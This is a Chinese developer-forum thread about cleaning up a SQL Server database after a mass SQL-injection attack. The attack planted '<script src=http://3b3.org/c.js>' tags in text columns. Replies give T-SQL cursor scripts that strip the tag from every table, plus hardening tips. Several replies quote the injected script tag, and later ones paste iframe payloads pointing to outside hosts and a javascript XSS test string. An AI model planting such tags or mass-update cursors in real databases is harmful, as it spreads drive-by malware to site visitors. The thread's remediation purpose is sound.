数据库被批量修改了,导至很多程序不能用!~现在被修改后的情况是这样:
101<script src=http://3b3.org/c.js></script>
102<script src=http://3b3.org/c.js></script>
103<script src=http://3b3.org/c.js></script>
...
有十几个表中的好几个字段的记录都是这种情况!~
我已经用update table set cols=replace(clos,'exe','')这条sql语句改了很多,现在有三个表还没有改,
因为 replace 这个函数的第一个参数不支持 ntext数据类型!~ 这个应该怎么解决啊?
还有就是怎么防止这种情况的再次发生?这个应该是sql语句注入导致的吧!~
听说这种情况可以买防sql注入的软件。哪个大哥有供应商的联系方式呢?
各位大哥帮帮忙了……

解决方案 »

  1.   

    --转换数据类型后再替换
    convert(varchar(max),ntext)--注入可能是由于在网站中使用了动态的SQL语句,需要对语句的参数进行判断后再执行。
      

  2.   

    http://blog.csdn.net/claro/archive/2009/02/11/3876678.aspx
    --处理B2B数据库注入数据1
    declare  @t  varchar(255),@c  varchar(255) 
    declare  table_cursor  cursor  for 
    select  a.name,b.name  from  sysobjects  a,syscolumns  b 
    where  a.iD=b.iD  AnD  a.xtype='u' 
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167) 
    declare @str varchar(500)
    --这里是你要替换的字符
    set @str='<script src=http://3b3.org/c.js></script><script src=http://3b3.org/c.js></script>'
    open  table_cursor  fetch  next  from  table_cursor 
    into  @t,@c  while(@@fetch_status=0) 
    begin     
        exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')     
        fetch  next  from  table_cursor  into  @t,@c 
    end 
    close  table_cursor  deallocate  table_cursor; 
      

  3.   

    这种方法可以防止sql注入吗?是不是用软件防要更好点啊?我们数据库被注入了不止一次了!~防不住啊~!
      

  4.   

    没有软件能做到防止sql注入的 ,只有程序在动态拼sql 语句的时候判断去防止了
      

  5.   

    再批量改回来吧改完还是要检查下Server和你的代码有什么漏洞,要不改完也无济于事的!!
      

  6.   

    写个触发器,如果包含</script> 就不给新增修改
      

  7.   

    如何最快速度删除? 
    " <script   src=http://3b3.org/c.js> </script> " 
    --------------------------------------------------------------- 
    进入SQL查询分析器 
    选择你的数据库 
    第一步:先sql表修改所有者为dbo 
    EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
    declare   @delStr   nvarchar(500)   
    set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
    declare   @sql   nvarchar(500) set   @iResult=0   
    declare   cur   cursor   for   
    select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
    fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
    begin   
    declare   cur1   cursor   for   
                    --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                    select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
    open   cur1   
    fetch   next   from   cur1   into   @columnName   
    while   @@fetch_status=0   
    begin   
                set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
                exec   sp_executesql   @sql             
                set   @iRow=@@rowcount   
                set   @iResult=@iResult+@iRow   
                if   @iRow> 0   
                begin 
    print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
                end             
                fetch   next   from   cur1   into   @columnName 
    end   
    close   cur1   
    deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
    end   
    print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
    deallocate   cur   
    set   nocount   off 
    --------------------------------------------------------------- 
    彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
    2、新建一个public权限数据库用户,并用这个用户访问数据库 
    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
    DECLARE   @T   varchar(255), 
    @C   varchar(255) 
    DECLARE   Table_Cursor   CURSOR   FOR 
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
    where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
    OPEN   Table_Cursor 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN   print   @c 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
    END 
    CLOSE   Table_Cursor 
    DEALLOCATE   Table_Cursor   
    --------------------------------------------------------------- 
    让3b3.org   c.js注入见鬼去吧! 
      

  8.   

    你的数据库还得从SQL安全管理那里入手的,还有IP是不是和网通或电信或移动共享的,让他们帮你在防火墙上拦截一下。
      

  9.   

    <iframe src=xxo2.2288.org/dszq/2.htm></iframe>
      

  10.   

    <iframe src=http://www.baidu.com/></iframe>
      

  11.   

    src='<iframe src=http://www.baidu.com/></iframe>'src="<iframe src=http://www.baidu.com/></iframe>"
      

  12.   

    --处理B2B数据库注入数据1
    declare  @t  varchar(255),@c  varchar(255) 
    declare  table_cursor  cursor  for 
    select  a.name,b.name  from  sysobjects  a,syscolumns  b 
    where  a.iD=b.iD  AnD  a.xtype='u' 
    AnD  (b.xtype=99  or  b.xtype=35  or  b.xtype=231  or  b.xtype=167) 
    declare @str varchar(500)
    --这里是你要替换的字符
    set @str='<img src=javascript:alert('test')>'
    open  table_cursor  fetch  next  from  table_cursor 
    into  @t,@c  while(@@fetch_status=0) 
    begin     
        exec('update  [' + @t + ']  set  [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')     
        fetch  next  from  table_cursor  into  @t,@c 
    end 
    close  table_cursor  deallocate  table_cursor;